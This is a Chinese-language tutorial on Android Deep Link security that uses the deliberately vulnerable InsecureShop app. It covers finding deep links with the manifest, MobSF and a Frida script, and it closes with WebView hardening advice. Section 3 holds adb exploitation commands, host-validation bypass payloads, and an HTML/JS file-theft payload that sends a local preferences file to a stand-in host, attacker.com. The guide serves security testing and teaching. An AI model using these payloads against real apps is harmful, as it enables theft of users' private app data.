Android Deep Link 攻击面
字数 1718 2025-08-10 23:41:50
Android Deep Link 安全分析与防护指南
1. Deep Link 基础概念
1.1 Deep Link 定义
Android Deep Link(深层链接)是一种特殊的链接协议,主要用于在应用程序之间导航和交互。使用 Deep Link 可以从一个APP跳转到另一个APP中相应的页面,实现APP间的无缝跳转。
1.2 Deferred Deep Link
Deferred Deep Link(延迟深度链接)与基础deeplink相比的特殊之处在于:
- 如果用户没有下载APP,则引导用户下载安装该APP
- 在安装启动后立即跳转到指定的页面或功能中
- 可以提高用户体验和应用程序转化率
1.3 常见应用场景
- 一键跳转:应用内部或外部直接跳转到指定页面
- 传参安装:通过应用市场传递参数,安装后自动初始化
- 分享闭环:分享商品链接可直接跳转到商品详情
- 无码邀请:生成唯一邀请链接,跳转到注册页面
- 渠道追踪:记录推广渠道信息用于数据分析
2. Deep Link 提取方法
2.1 从AndroidManifest.xml中提取
查找android:scheme属性:
<intent-filter>
<data android:scheme="insecureshop" android:host="com.insecureshop"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
2.2 使用MobSF工具
MobSF(Mobile Security Framework)可以自动分析APK文件并提取Deep Link信息。
2.3 使用Frida动态分析
Frida脚本示例:
// Modified version of https://codeshare.frida.re/@leolashkevych/android-deep-link-observer/
var seenIntents = {};
Java.perform(function() {
var Intent = Java.use("android.content.Intent");
Intent.getData.implementation = function() {
var action = this.getAction() !== null ? this.getAction().toString() : false;
if (action) {
var key = action + (this.getData() !== null ? this.getData().toString() : "");
if (!seenIntents.hasOwnProperty(key)) {
seenIntents[key] = true;
console.log("[*] Intent.getData() was called");
console.log("[*] Activity: " + (this.getComponent() !== null ? this.getComponent().getClassName() : "unknown"));
console.log("[*] Action: " + action);
var uri = this.getData();
if (uri !== null) {
console.log("\n[*] Data");
uri.getScheme() && console.log("- Scheme:\t" + uri.getScheme());
uri.getHost() && console.log("- Host:\t\t" + uri.getHost());
uri.getQuery() && console.log("- Params:\t" + uri.getQuery());
uri.getFragment() && console.log("- Fragment:\t" + uri.getFragment());
console.log("\n\n");
}
}
}
return this.getData();
}
});
使用方法:
# 找到system的pid
frida-ps -U | grep system_server
# hook
frida -U -l deeplink.js -p [pid]
2.4 网页分析方法
在浏览器控制台观察"打开APP"按钮的报错信息,可以获取Deep Link。
2.5 Deep Link调用方法
- 使用adb命令调用:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://example.com/"
- 通过HTML页面调用:
<a href="insecureshop://com.insecureshop/web?url=https://example.com/">Click</a>
3. Deep Link 攻击面分析
3.1 URL无验证漏洞
漏洞特征:
- 完全未验证加载的URL地址
- 直接使用用户提供的URL加载WebView
利用方法:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://blog.gm7.org/"
3.2 弱主机验证漏洞
漏洞特征:
- 仅验证HOST结尾是否符合要求
- 可通过常见绕过技术欺骗验证
利用方法:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/webview?url=https://blog.gm7.org/?insecureshopapp.com"
绕过技术:
- 使用
?附加参数 - 使用
#片段标识符 - 使用参数格式
a=insecureshopapp.com
3.3 本地数据窃取漏洞
前置条件:
setAllowUniversalAccessFromFileURLs(true)setJavaScriptEnabled(true)
利用步骤:
- 访问本地敏感文件:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/Prefs.xml"
- 创建恶意HTML文件(hello.html):
<script type="text/javascript">
function theftFile(path, callback) {
var req = new XMLHttpRequest();
req.open("GET", "file://" + path, true);
req.onload = function(e) { callback(req.responseText); }
req.onerror = function(e) { callback(null); }
req.send();
}
var file = "/data/data/com.insecureshop/shared_prefs/Prefs.xml";
theftFile(file, function(contents) {
location.href = "http://attacker.com/?data=" + encodeURIComponent(contents)
});
</script>
- 触发文件窃取:
adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/data/com.insecureshop/shared_prefs/hello.html"
限制:
- 只能从file协议到file协议才能成功
- 从http协议到file协议会报错:"Cross origin requests are only supported for protocol schemes: http, data, chrome, https."
3.4 高级绕过技术
当验证使用uri.getHost()时:
private boolean isValidUrl(String url) {
Uri uri = Uri.parse(url);
return "legitimate.com".equals(uri.getHost());
}
绕过payload:
javascript://legitimate.com/%0aalert(1)file://legitimate.com/sdcard/exploit.htmlcontent://legitimate.com/
4. 防护建议
-
输入验证:
- 对传入的内容进行检查清洗
- 根据业务要求设置白名单
-
JavaScript设置:
- 如果必须启用
setJavaScriptEnabled(true),则要对加载的JS内容严格验证
- 如果必须启用
-
安全配置:
- 尽可能将以下设置设为False:
webView.getSettings().setAllowFileAccess(false); webView.getSettings().setAllowFileAccessFromFileURLs(false); webView.getSettings().setAllowUniversalAccessFromFileURLs(false);
- 尽可能将以下设置设为False:
-
深度链接验证:
- 验证完整的URL结构而不仅是部分匹配
- 使用严格的白名单机制而非黑名单
-
敏感操作限制:
- 限制从Deep Link执行敏感操作
- 对重要操作添加用户确认步骤
5. 参考工具
- MobSF:Mobile Security Framework,自动化移动应用安全测试工具
- Frida:动态插桩工具,可用于运行时分析
- adb:Android Debug Bridge,用于与设备交互和测试Deep Link
通过全面了解Deep Link的工作原理和潜在风险,开发者可以构建更安全的应用程序,同时安全研究人员也能更有效地发现和报告相关漏洞。